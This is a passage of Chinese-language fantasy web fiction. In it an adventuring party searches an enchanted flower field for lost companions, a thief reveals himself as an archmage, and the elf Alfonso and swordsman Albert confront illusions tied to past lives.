路明冷笑两声,清生其又磨蹭他的头,手指埋进略短的发丝,还隐约有些潮湿。 “反正你闲也是闲着嘛,让我开心开心也好。”他的尾巴缠上对方的手腕,声音有撒娇的意味,“总不至于拒绝我吧?” 路明保持沉默,过了一会,他手指动了动,抓住了摇动的尾尖。 清生其闷笑两声。 “而且……”他的声音变得越来越轻。 “也该见见,那些老朋友了。” 清生其眯起眼睛,笑容似乎加深了一些。 老朋友,新故事。 听起来,是他会感兴趣的情节。 35. 重起 在艾伯特和阿方索都被吞噬之后,沼泽似乎终于心满意足,渐渐恢复了平静。 阳光放晴,花草飘香,一片祥和的景象,根本无法想象刚才发生了什么。 也没人有心思欣赏这片优美的场景,善魔跪坐在地上,捂着脸一动不动,妮娜依在她身旁,小声啜泣,眼泪止不住地流。 “都是……都是我不好……”少女的眼泪一滴滴砸下,鼻尖通红,“作为药剂师,力量那么弱小……” “别那么说,妮娜。”诺曼一只手攥成拳,五指掐紧,被挣开的感觉还残留在掌心,他的心情要更加复杂,“遇见刚才那种事,谁也没有办法。” “……再说,进入昨日花田是我们共同的决定,就算真发生了什么,责任绝对不能推在你一个人身上。” “……无论怎样,都要先冷静下来。”梅茜慢慢拿下捂住眼睛的双手,眼眶周围红得厉害,粉眸里布满血丝,声音嘶哑,“……现在,要想办法找回他们。” 话虽这么说,但是她的尾尖一直垂在地上,善魔的声音很低,不知道是在告慰同伴,还是在告诉自己。 “目前,我们唯一做的只能是前往深处。” 一道不合时宜的声音打破了伤感的气氛,是帕里斯。 他的表情没有任何一分动摇,甚至不带一点恐惧或者后怕,黑色的斗篷看不出来是否沾上灰尘,露出的部分毫发无伤。 “只有听我的,你们才能和伙伴一起活着出来。” “你这话是什么意思?”诺曼的语气变得沉,目光染上凝重。 “我什么意思?你听不懂大陆语吗?”帕里斯反问,“我刚才做的魔法溯源,流光残留的元素和花田本质的元素十分相似,有充分的理由怀疑他们已经被传送进了花田深处。” “你一个盗贼,竟然会这种魔法吗……”梅茜撑起身子,紧盯着他,“你怎么证明你说的话是真的,而不是胡言乱语编造,来诱骗我们替你送死的?” “没有义务证明吧,我本来就无所谓啊。那两人本来也不是我的同伴啊。”帕里斯漠然回应,“我要做的是找到且醉草,就一定要去到花田里的最深处。你们能帮我,我也能帮你们。” “就这么简单?没有别的条件?”梅茜冷静下来,盯着他发问。 “就这么简单。”暗红色的眼睛褪去了懦弱的伪装,变得锐利而深邃,“你们一开始非要拉我一起,不也是看中了我不简单?现在,不是正在你们意料之中吗?” “我没有在进入花田的第一秒就把你们都解决掉,态度已经很明显了吧。”黑发少年直截了当,“和你们一样,我也希望你们能全须全尾地出来,不想让你们出事。” “你,到底是谁?” 听到这个问题,帕里斯沉吟了片刻,没有回答。 “反正都走到这一步了,至少透个底,不算过分吧?”看到对面有要用沉默避开话题的意思,梅茜继续逼问,“再怎么样,事到如今,也没有必要掩饰了吧,这点信任也没有,我们也走不到最深处。” 盗贼又沉默了很久,最终,他轻轻叹了一口气,看向旁边抓着梅茜衣角的妮娜。 “我们应该见过面,肯特小姐。”少年摘下了兜帽,看着少女渐渐瞪大的双眼,“您姐姐们和希莲关系不错,格蕾丝和伊丽莎白,都是王都相当出色的女士。” “可惜她们没有来得及把您引荐给她,您也没来得及学会到你姐姐身上的那些优秀技能,比如说,怎么辨别一个男人是否在说谎。” 话音刚落,他的面容就扭曲起来,身形转变,拔高了十几厘米,衣物也随之变换。 那双眼瞳一如既往的暗红,却因为恢复原貌褪去了青涩,给人更加成熟的感觉。 “我的名字,是温德·西索。”青年面容俊朗,黑发在胸前结成长辫,配上与眸色相同的缎带,魔法袍的上暗纹也随之显露。 “感谢各位一路上的‘照料’,我看大家对我了解都挺多的,就不详细自我介绍了。” “也很感谢您对我毕业论文以及本人的评价,帕克女士。”他整理了一下衣襟,声音清冷,带着些磁性,戴着半掌手套的手拨过额前散落的碎发。 “关于那篇文章,确实如此。毕竟我当时付出了不少心血,可以说是相当有价值,就算称为那领域真正的开山之作,也担得上名副其实。” “不过,关于我本人的,就有些过誉了。”温德的声音平淡。 “我早已放弃了对于那领域的研究。您给予我这样高的结论,确实是谬赞了。” 而在花田深处,艾伯特仍然与另外一个自己进行着长久的周旋。 如果不是对方无法真正杀害自己,艾伯特知道自己早已死了无数回了。 然而他从不认输,也从不喊累,甚至从来没有停下。 大脑聚精会神地记录着对方每一步的攻击,从开始节节败退,到接下剑招,再到后来甚至可以找到破绽,划伤对方的身躯。 或许因为两个人本质是一体,对峙的时间久了,艾伯特有时候甚至分不清自己到底站在哪一方。 但也有好处,有时,他可以预知到对方接下来的动作,以此反应该如何接招。 剑风碰撞出尖锐的声音,艾伯特退后两步,又迅速攻了上去。 一些不存在的记忆也涌入脑海,大部分都是独自一人,无数遍的挥剑,无数次的战争。 接受任务,获得酬劳,去寻找虚无缥缈的自由,一切行动的根源,无外乎此。 名誉、财富、自由……阿尔伯特确实为了这些付出了很多。 但,为什么? 即使后来获得了无数的荣誉与成功,也再没有人能约束他半分,内心也仍然觉得空虚,无法与任何人建立羁绊,也不想成为任何人眼中重要的存在。 但,有一个人不一样。 以上的全部,都是遇见那个人之前的事情。 在极偶尔的角落,似乎是被极勉强才愿意拿出来分享的记忆里,会有那么一个人,看不清面容,但他们都心知他是谁。 艾伯特忽然有些理解了,这个人确实是个疯子,脑子有病。 但是知道他是为谁而疯的之后,一切都变得合情合理。 至少,他能感同身受。 阿尔伯特能明显感受到自己变得吃力,该说不愧是自己的转世吗?真是青出于蓝胜于蓝了。 按理来说,如果自己可以杀他,也就杀了个那么几百回吧。 只是几百回,就可以从最开始那种拙劣的样子到反击自己了吗?挺厉害的。 一旦控制不住精神,任由其涣散起来,关于那个人的思绪就如同春雨后的野草,充满了脑海。 啊,虽然这样很幸福,但是就完全没办法思考别的了呢。 还记得初遇的时候,当时相当丢脸啊,明明还狼狈不堪的样子,浑身都脏兮兮的,衣服磨破了好几个地方,伤口也在流血。 结果一睁眼,发现自己躺在那个人的膝上,脸砰的一下就变红了,眼睛也泛上水光,束起的马尾也散开了,乱糟糟地搭在身上,但是完全不想管。 没想到会这样一见钟情,嘴唇嗫嚅着,但是说不出来任何一句话。 阿尔伯特活了那么大,第一次知道怀春到 底是一个怎样的感受。 就是自己快死了,还担心以前脸上留下的的伤疤会不会让对方觉得不好看。 他下意识想要遮掩,然而在那之前,雪白的手指落下来,轻轻碰了碰剑士的脸颊,似乎在确认他是否活着。 那一瞬间,阿尔伯特就明白了一切。 他触碰到了……世界的心脏。 但,那个时刻,该怎么描述呢? 就像有一千只蝴蝶扑到了怀里,一切的一切都变成了——粉红色的。 什么恐惧啊,虚无啊,理性啊,全部都忘得干干净净了呢。 阿尔伯特向来是一个痛恨命运的人,而自从那天之后,他变得无比热爱自己的命运。 「是的,如果这就是我的宿命……」 「我愿意为你献上一切。」 后来满怀期待地把眼睛送给那个人,在他眼里也不过是非常自然的事情。对方看见匣子里的东西,面色没有任何变化。 只是看了看对方残留的另一只亮晶晶的紫红色眼睛,就伸手拿起,手指挑起对方脸上黑色的布料,给安了回去。 精灵的治愈术很强,一点不痛。后来给出的理由也很简单:“在眼眶里比较好看。” 所以,阿尔伯特后来就没再想着送眼睛那件事了。 阿尔方索不需要也好,反正两只眼睛看着他,确实要更加全面一些。 其实颜色本来是也是可以恢复,只不过他一直留着痕迹,作为纪念。 因为他坚定的认为这是阿尔方索对他的关心。 漫无目的地如此想着,阿尔伯特忽然发现自己移动不了脚步。 足尖一顿,年长的剑士低头一看,发现自己胸前有了一抹银色。 被贯穿胸膛的时候,他脑子里想的,仍然是他们两个人在一起的时候的一天。 那时,他的剑又断了,其实是一件很普通的事情,他一直这样,换掉就是,剑对阿尔伯特来说只是工具,他从来不知道珍惜的。 但现在不一样了。借此跟阿尔方索撒娇后,那个人亲手为他做了一把。 那个人将银剑递给他时,脸上仍然是平常的神情。 “这把剑很适合你。”他说,“带着吧。” 那确实,是一把很漂亮的剑。 那把剑自此后再未离身,成为了阿尔伯特力量的代表。世界上最强大的剑配上最强大的剑士,在外人眼里自然而然是一段佳话。 从此就更没有人敢来招惹他了,虽然在遇见阿尔方索之前,这样的人就已经很少很少了。 而对阿尔伯特而言,强度和外观并不在他的考虑范围之内,就算当时精灵送他的是一根木棍,他也会一样珍爱的。 后来,那把剑去了哪里呢? 哦,现在,是在他的胸膛之中。 身体里的力量迅速流失,汇集到那精致的剑身之中。 银剑接纳着这股力量,或者说,取回这股力量。 胸口的剑锋愈来愈锋利。阿尔伯特没有挣扎,抬眼看去,与自己有相同面容的少年眼神冰冷,目光中没有一丝一毫的犹豫。 真是的,好久没这样过了…… ……真的是超级讨厌啊,被打败的感觉。 不过,就是为了这一天,他才存在至今的,不是吗? 能和那个人再次在同样的时间内存在过,就已经意外到让他欣喜若狂了。 幸好,这个现在的艾伯特,应该可以保护好他,对吧。 也幸好,真正的阿尔伯特,早就已经在五千年前死透了。 那个人,不会因为他,第二次痛苦了。 36. 命运 流光绕入身体时,精灵并不是毫无察觉,但那种力量不知为何熟悉而亲密,似乎与他同源。 莫名起不了抵抗的心思,他知道流光不是来伤害他的,可也没有时间解释,反应过来,已经被拉入了光芒之中。 但阿方索没想到艾伯特会那么快做出判断,又能在那么短的时间内抓住他的手腕。 真的很厉害。 那时候回头,他是想谢谢他的,也想安慰他别那么担心,讨论一下接下来该怎么办。 但还没来得及说什么,两人便已经分开了。 流光散,精灵落在地上,很快稳住身子站起。 艾伯特握得太用力,被握紧的感觉还残留着存在手腕的皮肤上。 阿方索用另一只手握着手腕,感觉有些奇怪,但又说不清是为什么。 在母树的教导下,他学习了很多有关大陆的知识,也通习了大陆的语言,只不过现在说出来还有些生疏。 所以,其实阿方索对人类社会并不是一无所知,除了一些特别讨巧的,他知道的远比别人以为他知道的多得多。 只是还没有表现出来,对方就已经默认他不知道了。 还不给他时间解释。 ……算了,这种事还是等到回去之后再想怎么办吧,实在不行,问问大家好了。 重要的是,现在是什么情况? 精灵抬眼打量四周,发现自己正处于林间的一片空地上,周围零星的小花开放,前方是郁郁葱葱的树木,后方是一片巨大的、澄澈的湖水。 阿方索心里一沉。 ……非常,非常熟悉的景象。 是他从小生活的地方,精灵祖地的核心。 阿方索不禁皱起眉头,他尝试使用力量连接母树,却一无所获,就连身体里也毫无反应。 是幻境。如果是真的精灵祖地,母树不可能不回应。 而且,幻境实力还不弱,就连折枝的响应,也被屏蔽了吗…… 同伴们一定心急,艾伯特那边,也不知怎样了,说不定会遇到危险。 好担心。 现在,要赶紧想办法回去才行。 阿方索思索片刻,决定还是使用最原始的方法。 他盯上了不远处上空的一根树枝,决定跳上去先观察一番。 而阿方索刚准备抬步,想要跳上枝头观察全貌,面前的空间忽然开始扭曲,一个影子就渐渐出现在了湖边。 阿方索停下了动作,视线迅速投向湖边方向。 那个影子慢慢形成全貌,变得稳定下来。 是一个极美的女子。她有着波浪般卷曲的银发,长至脚踝,一双蓝色的眼眸如同倒映星辰的湖泊。 那女子衣着朴素,首饰也极少,足上不着一物,但绝美的容颜让人能轻易忽视这一点。位于眉间的那一点蓝晶,反而让她看起来更加出尘。 她跪坐在地上,低垂着头,脖颈雪白而脆弱,似乎能轻易摧折。 精灵望着她,久久未语,女子似有所觉地抬起头。 看见阿方索的一瞬间,那双宁静的眼眸里瞬间爆发出灿烂夺目的光彩,她充满欣喜,绽放出如花般明媚的笑靥。 她伸出手,向他张开怀抱。 “我的小阿方索。”那女人唤他,声音轻柔,如同溪水一般流淌,十分动人。 看着对方不动的样子,她向前膝行了两步,继续柔声呼唤:“过来呀。” 阿方索站在原地,长睫在眼下投出阴影。 听到声音,他下意识想要靠近,却又硬生生止住了脚步,胸膛不自觉起伏。 精灵看着她期待的模样,眼神微动,唇抿了抿,似乎内心挣扎,手也慢慢移在了胸前的吊坠上,摩挲了几下。 沉默了许久,最终,他还是开口,回应了幻影。 “不。” 听到他的拒绝,女子的神色开始变得忧伤,更加惹人怜惜,但仍倔强地伸着手臂,不肯放弃。 阿方索看她这样,只能闭了闭眼,用精灵语继续说: “……母亲。” 精灵吐出那个词之后,女子的脸色重新变得温柔,她轻轻放下了手臂。 “嗯。”她笑着歪了歪头。 也在同一时刻,她的身后,另一道身影显出。 是一个男子,面容俊朗非凡。他背上背着弓箭,额上有和阿方索相同的羽饰,棕色头发在脑后结成小辫,绿色瞳孔深邃,看向他的时候,却带着温暖的笑意。 他们都有尖的耳朵,眼神都充满爱意。 男子轻轻扶着女子的肩膀,姿态亲密,看起来也是非常相配的一对,但但凡对精灵种族有过一二了解的人看见这一幕,都一定会非常不可思议。 精灵族极少出世,寻找伴侣的类型也在少数,生育更是少之又少,但这些都并非没有先例。 但木水精灵结合的记录,可谓是从未有过。 木水精灵虽然同为精灵种族,相邻而居,也会在危险时刻鼎力相助,但两族习性和外貌都有着明显的差别,平时更是不相来往。 即使在精灵内部,在阿方索诞生之前,也从来没有木水精灵结合的记录。 阿方索,是精灵族历史上第一个,也是唯一一个混血精灵。 这件事是毫无疑问的秘辛。 天赋绝仅,又能同时使用木、水两方面的魔法,再加上格外出众的样貌,自出生起,他就是全族的珍宝,金色的头发也被视为母树的恩赐。 如果不是母树的旨意,谁舍得放他离开,阿方索又是那么年轻。 “我很想念您和父亲,但是,你们不是真实的。” 阿方索把手指从吊坠上移开,擦去那点怀念,目光变得坚定,语气不容置疑。 正是因为那记忆如此珍贵,所以相关的一切都格外清晰而不可辩驳。 “你们,已经离去了。” “你们承诺的礼物,我也已经收到了。” 他抬眼,水刃在手中幻化成型。 “很抱歉,虽然很不舍,但我需要回去找我的同伴。” “所以,只能麻烦你们消失了。” 两人看着他,仍然没有反抗,阿方索没有再犹豫,水刃闪过,两道美丽的影子也随之消弭,如同从未存在过一样。 看着空空如也的地面,阿方索沉默了片刻,才发现自己不知何时咬破嘴唇,嘴里有淡淡的铁锈味。 他面无表情地松开牙齿,舔了下伤口,继续向前行走。 面前不知何时出现了一道小路, 仅容一人通行,又看不清尽头。 阿方索没有踌躇,大迈步走了进去。 一步一步。树木为他退却,湖水为他让行,在前行中,过往的一幕一幕在眼前轮番上演。 在木与水的交界之处,父母眼神万分疼惜,却没有止住他好奇的背影。 “去寻找你的命运吧。” 在离者的桦树前,尼莫叔叔裹紧披风,看向他的眼睛,目光哀悯。 “去窥探你的命运吧。” 在众灵的欢呼中,伯尔长老缓步走来,将羽饰系在他的额上。 “去征服你的命运吧。” 临行的风声将起,母树将枝叶折下,落在他的手中。 “去见证你的命运吧。” 在前行中,似乎有一个声音发出了提问。 “为什么,要做到这种地步?” 而又有不同的声音回答。 “因为,他是我心爱的孩子。” 对所有族群中的所有精灵来说,这些都是不言而喻的事情。 阿方索记得每个精灵的名字,知道他们每一个人的生平,就如同他们记得他的名字,也期待他会书写下怎样的故事。 同样,正如大家所期盼的那样,他也从没有停下脚步。 但“命运”二字,究竟有着怎样的意义,阿方索并不确定,却也并不心急。 离开祖地,加入冒险团,遇见形形色色的人们,经历各种各样的事情。 与其说是母树的指引,更不如说是阿方索自己的选择,是他主动去学习,去感受,去和那些人产生羁绊。 阿方索从来没有后悔过,毕竟,他一直都走在路上,不需止步,也不需回头。 是命运追逐他的脚步,而并非他追逐命运。 前方隐隐约约传来光亮,似乎到了路途的尽头。 一个高挑的身影逆光站在那里,看不清具体的样貌。 阿方索停下脚步,手边没有木弓,此人实力不明,魔法不知道能起多少作用,只能静观其变。 而那人与想象中不同,并没有攻击精灵。 反而因为感受到了靠近的脚步,他转过身露出了完全的脸。 俊美,神色温柔而痴迷。 一个剑士,拥有着和艾伯特一样的面容,一样的银剑。 却也截然不同,身着华贵的衣物,更加年长,也更加热情外露。 阿方索不记得自己见过这种人,警惕地观察着他,手指屈起,随时做好应战的准备。 竖起的马尾,站立的姿态,脸上的疤痕……哪怕没有敌意,这些痕迹也都昭示着这个人经历过许多场厮杀,并且,都活了下来。 眼看阿方索没有继续前进,甚至有攻击的倾向,剑士却不以为意,仍然满目柔情地望着精灵。 看着看着,他脸颊微红。 精灵注意到了,眼神泛上了一丝疑惑。 剑士却没有解释,脸上依旧充盈着羞涩的微笑,他掌心向上,轻轻向对面抬起了手。 他说: 【和我一起离开吧,阿尔方索。】 来,握住我的手。 背弃你的誓言,忘却你的使命。 从此以后,只属于我,只注视着我的眼睛。 37. 道标 年长的剑士笑意盈盈,俊美的容颜配上放低以祈求姿态,一切都是那么令人心折,也让熟悉的人怀疑他是不是被夺舍。 而看着他那张脸和楚楚可怜、期待而小意的样子,怎么会有人舍得拒绝他呢? 对面那个就可以。 不仅没有搭上他的手,还后退了一步。 剑士眨了眨眼,马尾晃了两下,瑰丽的异瞳中闪过一抹委屈,但还是乖乖放下了手,等待对方的下一步反应。 “你会精灵语?”阿方索问。 作为精灵族独有的语言,精灵语一直被视为未解之谜,样本本就极少,就算想研究也无从下手。 而且精灵学习能力极强,没有学不会大陆语的烦恼,单方面就解决了语言不通的问题。 但是他说出口的样子如此自然,阿方索从来没听说过族内有这样的人,对面身上也没有精灵的任何特征。 而且,自从见到这个人开始,心里就有种难以言喻的感受。 那种似曾相识的感觉……和在那个酒醉的夜晚,艾伯特看着他时,感受到的极为相似。 明明对方只是伸出了手,他也根本没有回应,但手心之中,却仿佛已经感受到了触感。 被紧紧握住的感觉,热感从布满剑茧的指尖传来,包裹住精灵的整个手掌。 仿佛在很久以前,面对这个没头没尾的邀请,有人已经做出了决定。 ……? 果然是强大的幻境,还有强行体感的能力。 对面的人却一脸无辜,听见阿方索的话语,有些惊讶地瞪大了眼睛。 “你这样说话,我都有些搞不懂了。”他目光依然温柔得能滴水,双手搭在腿上,微微弯下腰。 剑士与精灵平视,声音透露出担心,小心翼翼。 “自从遇见你,我不是一直都用这种语言吗?帝都的大家都这样说话啊。” “开始,还是我惊讶你为什么会帝国语呢,结果现在你又来问我了。” 精灵面色不变,剑士看他这样,变得有些紧张,想扯住他的衣角,又害怕被躲开,只能垂下手,站直身子。 “你怎么忽然这样啊,昨晚还说喜欢我的……”他小声嘀咕,有些不知所措。 “还有,精灵是什么?难道是为了拒绝我找的借口?”剑士笑了笑,开始撒娇,“别这样嘛,我身子都给你了。” “我和你可是第一次哦。”男人的声音带上了些许鼻音,眼睛盈上水光,“这么多次,都被你玩熟了,不能始乱终弃的。” 第一次,玩熟,这么多次,始乱终弃……? 为什么明明每个词都认识,组合到一起,就让头脑变得迟缓起来。 阿方索本来对他还十分戒备,听见这样震撼的发言,也迟钝了一瞬。 但还没来得及消化对方话语中的巨大的信息量,更没时间想明白身子都给了是什么意思。 还没回答,只是一晃眼,眼前的男人又抬起手,笑意如初,分毫未减。 “来,和我一起走吧。” 漂亮的眼睛弯起,像是熠熠生辉的宝石。 “让我陪在你身边吧,会给你幸福的。” 他许下几近天真的誓言,如此认真。 这一次,幻境更加强烈。 阿方索想要躲开,身体却不受控制,魔力也无法施展。 他每想退后一步,就会反而向前,想压下手指,就会更靠近那张开的掌心。 年长的剑士一动不动,血红的那只瞳孔紧紧盯着眼前的少年,不曾离开半分,笑容愈发绚烂。 这是,无法拒绝的邀请。 无关正确与否,也与自主意志毫无关系。 因为,这从来不是一个选择。 这,只是一段“记忆”。 不可被更改的回忆,已经写定结局的传说,被宣告落幕的戏剧,奏响结束音的乐章。 模糊的景象影影绰绰,谁人的字迹在眼前浮现,如同判决一般血红的颜色,让人看一眼就头晕目眩。 【阿尔方索,被爱蒙蔽了双眼,背弃了他的使命,离开了他的祖地。】 独自生活时,临死的人,闯入领地。 默不作声的世界,只有那人带来了哭泣。 还有吵闹。 那时反正无事可做,便为他拭去泪滴。一直没有离开,带来了不同的声响。 改变。但,并不讨厌。 想要一直如此,那就这样下去吧。 【被世俗的欲望诱惑,失去了身为神明应有的高贵,自甘于沉沦,以至世间无神。】 那个人将眼眸赠予,无用,还是在脸上更好看,安回去了,红色也好看。 意思是求欢?是想成为伴侣吗? 应允了。 …… 快感,有点太多了。但那个人好像很开心,随他吧。 出去逛逛,要去帝国首都。虽然要离开神位,但是权柄不能无人掌管,将其交予同生的树,让祂代为执行。 【犯下如此罪责,却也担负起责任。】 ……他说,担心他先死之后我会另寻。说不会,不信。 他吵了一架,又抱着道歉,去花园一起读诗集,哭了,又睡着了。 不希望他伤心,其实没关系,一起结束就好。 想要他开心,变得幸福最好。 工作,需要处理一下。 还是交给树吧。 ……似乎是某人不知何时何日的记录,缠绕在身侧,纷扰着阿方索的心神。 他想要将其刻在脑海,但无论怎样努力,都只能如同夜晚的烟火一般,勉强留下印象,也转瞬即逝。 而行动上的处境更糟。 一步,一步,精灵的步伐被强行挪动,所经历的每一秒都显得无比漫长。 他鲜少有这样无能为力的时刻,却也并不完全灰心。 在尝试挣脱的同时,也随时做好准备,一旦锢住的力量稍微瓦解,就是反转的时机。 但那股力量实在奇怪,它似乎没有要伤害他的意思,但也不允许他拒绝。 每当阿方索感觉自己要到达某个临界点,能够找到门路,却又发现总是差那么一点,永远无法突破那个阀值。 阿方索:。 是在,逗他吗? 路途本就不远,越靠近那个与艾伯特样貌相同的剑士,眼前的字迹就愈发变得模糊不清,只有那人的面容依旧清晰。 那些意味不明的字,最后只剩下了两句话。 【作为心脏,承载世界的血液,并为之跳动吧。】 【一如既往。】 甚至还没来得及完全看清,字形就如流光一般流淌,汇集到心口之中,又流入血脉。 相融的一瞬间,一种磅礴的力量扑面而来,阿方索 能感受到自己的魔力变得更加强大,和身体的控制却依然没有解除。 像一道顽固的锁链,强迫他必须完成这个仪式。 最终,阿方索还是走到了那人面前。 那只手仍然向上,极其富有耐心地等待着另一只手放在上面。 目前没有其他的办法了,只能暂时妥协。 他缓缓抬起手,将要遵循早已写就的轨迹。 而下一秒,一道剑光从对面身后而来,彻底打断了这一切。 是剑风划过空气的声音,破空声凌厉而迅捷。 听见声音的下一秒,阿方索感觉身体一松,察觉到主导权回复了不少,他立即停下了动作,向后退了一大步。 就在他后退的同时,银光如同流星一般坠下过,面前的幻影被斩破,如同泡沫一般消失,流光也随着泯灭。 “艾伯特?!” 被控制住的神经顿时松开,看清来人,阿方索下意识喊出那个名字。 剑光之后,是一道熟悉的身影,艾伯特手执银剑,招式是从未见过的风格,精准而犀利,毫不留情。 他头发仍然披散,看起来有些杂乱,眼下也显出明显的黑眼圈。 但所幸毫发无伤,脸上也算干净,衣服也没有太多的损坏,此刻表情冷冽。 在流光散开之际,精灵祖地的环境也随之褪去,取而代之的,是一片郁郁葱葱的花田,是白色三叶草所绽放的地带。 远远望去,西北方向不远处,一朵格外高挑的白花亭亭地站在一边,迎风招展,洁白而无忧。 它轻轻摇晃,似乎在向着通过挑战的胜利者招手。 身份不言而喻,但两人却没有心情管它。 绿发少年未发一言,他上前一步,阿方索下意识抬起手,就被紧紧拉入了一个怀抱,手扶住了对方的胸膛。 银剑掉落在地上,年轻的团长牢牢攀住他的衣物,垂下头,看不清楚表情。 但阿方索仍能看出他的疲惫,安静地承受着他大部分的重量。 即使是这样,艾伯特仍然有些坚持不住,他的腿不受控制地发软,颤抖着弯下膝盖,最终不堪重负,落在了地上。 阿方索陪他一起跪下,两人相对跪坐着,艾伯特眼眶发红,手指不停发抖,但说不出一句话。 其实有很多话想说,想说幸好我找到你了,幸好你没有事,我真的非常担心你,你都遇到了什么,等等等等。 可是什么都说不了,喉咙里像是被棉花堵住,忍不住哽咽,就连吞咽的时候也会觉得困难。 白色的小花围绕着两个人,有着极淡的香气。 这场景他曾见过,但此时此刻,艾伯特才终于相信这一切是真实的。 他的脸颊贴着阿方索的肩膀,抱得精灵肋骨都有些发疼,呼吸都变得困难。 但阿方索没有推开他。 “没事了。” 清澈的声音在耳边响起,有重量出现在了背脊,轻轻抚过。 并不特别柔软,也并不温暖,有些笨拙,但没有犹豫。 那一刻,泪珠大滴大滴地夺眶而出。他蜷起身子,忍不住发出呜咽。 「其实,只要和你在一起…我不在乎是否身处梦境……」 「但,既然是你,就应该不会甘心在虚幻中度过一生的吧?」 「那么,我愿成为你的道标,与你一同醒来。」 38. 匕首 偌大的花田中,四人就如同落入羊毛的虱子,聚在一起,成为一团小小的黑点,在无边无际的草地中慢慢挪动。 天空晴朗,万里无云。 感受不到时间的流逝。太阳在蓝天上挂着,还是挂在那里,一直挂在那里,永远挂在那里。 “还要多久?”又一次绕回了标记过的地点,妮娜终于忍不住询问,“这样耗下去,阿方索和艾伯特他们怎么办?……不会出事吧?” “不是已经出事了吗?”温德的脸色也算不上好,他再次释放出魔力,重新探路,“你想听我说什么,两个人死在一起,正好殉情了?” “我不想快点找到?我来这里,难道是我喜欢在这里郊游吗?”温德扭过头,面无表情地反问道,“找到且醉草之后,还得抓紧时间赶回王都,我可没有那么闲。” 平A换暴击了。妮娜一时哑言,她在宴会上碰见他几次,一直都是寡言孤高的样子。 没想到嘴这么毒。 “所以,你真的是为了找到且醉草来这里的。”诺曼摸了摸下巴,“那你当时为什么招惹我们?” 听见男人的话,温德阴郁地笑了一下。 “那时,说的都是实话啊。”大魔导师闭上眼睛,语气疲惫,又带着些许沧桑。 “本来就有情报记录佩戴魔晶会被花田吞噬正好碰到你们虽然不熟但想着好歹认识一场加上和家族有合作觉得让你们送死不太好所以就想着顺手帮一把没想到——” 在场的众人都被这个长难句起手给震住了,温德却没有停下,沉浸于令他十分后悔的回忆中。 “——没想到被你们的精灵发现,就被抓过来了。” 说完,他呼出了一口气,睁开了眼。 “……早知道,就……” 温德扯了扯嘴角,没有说完,只是抬手来抓了抓刘海,露出优越的眉眼。 新的路途已经显现,他向前走去,身姿挺拔。 这位的相貌,一直在王都美男子里能排到前十的,只不过因为深居简出,加上脾气实在算不上良好,才略微低了一些,甚至有时候还会落在艾伯特下面。 不过梅茜一直怀疑有黑幕,毕竟除了那张脸,作为这一代首屈一指的魔法天才,加上公爵独子的身份,还是相当有竞争力的。 她曾经一时兴起,做过择偶意向问卷,在选项后的描述里挑了几个有名的男男女女,作为典例。 问卷对象广泛,包括各个年龄段,不分种族,男女都有。 最终结果证明,这位的优先级相当喜人。 不过话说回来,好艾伯特这一口的也不少。 虽然没见他和谁交往,但听说还是很受欢迎的,所以就也当做例子供参考了。 但……现在看来,客观地说,如果用那个类型来描述艾伯特的话,实在不够严谨。 谁能想到那位学弟遇见喜欢的人之后竟然是这样。 而且拒婚事情一出,不知道新榜会怎么排,等回去之后,买本新的看看好了。 “不过,能请动你来寻找且醉草,也不是一般人吧?”善魔点点唇,“如果是你自己想要,大可不必如此藏着掖着。” “也不是王室,那样的话,你就更有出师之名。”她眯了眯眼,“让我猜猜,那个人有一定的能力让你通过关卡,或者你自己愿意为她付出代价,她有非要不可的理由。你们的关系一定不错,像你这样的人,只靠利益是不会驱使的。” “是谁,好难猜哦。”梅茜弯起眼睛,皮笑肉不笑,“说巧不巧,我恰好知道一点点消息,希莲公主的成年礼,还需要一份压轴的礼物吧?” 按照规矩,在成年之时,皇室成员会向皇室献上一份礼物,彰显自己的忠诚。 “当然,一般都会有家族为其准备,可惜,她没有。” “但是她需要。”梅茜看向温德刻意避开的眼睛,继续说道,“只要礼物足够珍贵,就算是国王,也不好意思直接下达赐婚的命令。” “还有什么,能比且醉草更够格的呢?那是从首代国王就开始寻找的圣物。” 她笑了一声。 “你是她什么人?这么关心,直接求婚不就好了。” “……与你们无关。”大魔导师拒绝回答,语气生硬,“我和她不是那种关系。” “我说哪种关系了吗?” 善魔的声音懒洋洋地从后方传来。 温德停下了脚步。 他回过头,冷冷看着梅茜。 “你用不着跟我玩语言游戏。”他说。 “既然对这些事情这么感兴趣的话,你就更应该知道,公爵不可能和王室联姻。” 温德的语气无疑是带着嘲讽的。 但细品之下,又似乎有点说不清道不明的意味,嘲讽反而显得过于刻意。 “这么喜欢八卦的话,那介不介意我八卦一下?” 青年的眉微微挑起,声音揶揄。 “你们团长和那个精灵,是那种关系吧?” 他原本是想借此压对面一头。虽然男宠在贵族阶层不算少见,同性伴侣也不是没有。 但毕竟是上不得台面的事情,而且正主不在,温德觉得对方无论怎样也不敢直面回应。 他错了。 “团长是男同哦。”善魔不仅没有尴尬,还笑盈盈地给他比了个心,仍然闲适,“阿方索倒是不确定,可能吧。” “你……” 万万没想到会得到这样直白的回答。 这一次,轮到温德哑口无言了。 “这个时候还说这些……”温德有些憋屈,“你就不担心你的同伴吗?” 话音刚落,妮娜就猛地抬眼,直勾勾地瞪着温德。 回旋镖落在身上,谁也扛不住。就算是最年轻的大魔导师,也只能默默移开目光 “不是你先问的?而且就像你说过的,那能怎么办?目前找不到人。”梅茜掏了掏耳朵,“要真死了,我说什么他也不知道,要是没死……” “他会接受的。” 彳亍。 都说到这个地步了,他也无话可说。 “跟我走,这回的路应该对了。”温德转移了话题。 总感觉继续说下去的话,会有不得了的事情发生。 诺曼的那种言灵,来一次就够了。 随着魔法的引导,总算是没再绕圈,他们来到了一处新的区域。 周围有不少的灌木丛,错杂纷落,不同的花朵盛开在其中,显得相当温和。 诺曼拿出了信物,木花已经变得漆黑,看来,距离不远。 明明是美丽的场景,他看着眼前的景色,却不禁拧起了眉头。 无他,因为除了那些充盈着生机的小花小草,这片土地还有着枯朽的地方,而且就掺杂在花草之中。 斑斑点点,让人十分不适,特别是分布方式,简直就像在地上洒出了血迹,只是用枯草的形式展现。 “我先探路。”温德向前一步。 但只是一步,就触发到了某种法阵。 一道迅速的烈火袭来。即使温德反应迅速,也只是堪堪躲过。 火苗擦过颊时,那用于燃烧的能量气息,温德忽然如此熟悉。 但还来不及细想,一种强烈的危机感爬上了背脊。 温德瞳孔骤缩,不顾一切的抬手,随着念动咒语,法阵随之显形。 是同样的红色,但要更暗一些。 一旦检测到一击未中,陷阱就像是触碰到了什么禁忌一样,熊熊的火焰,铺天盖地一般席卷而来。 暗红的纹路迅速铺开,包裹住冒险团和他,挡住了这突如其来的袭击。 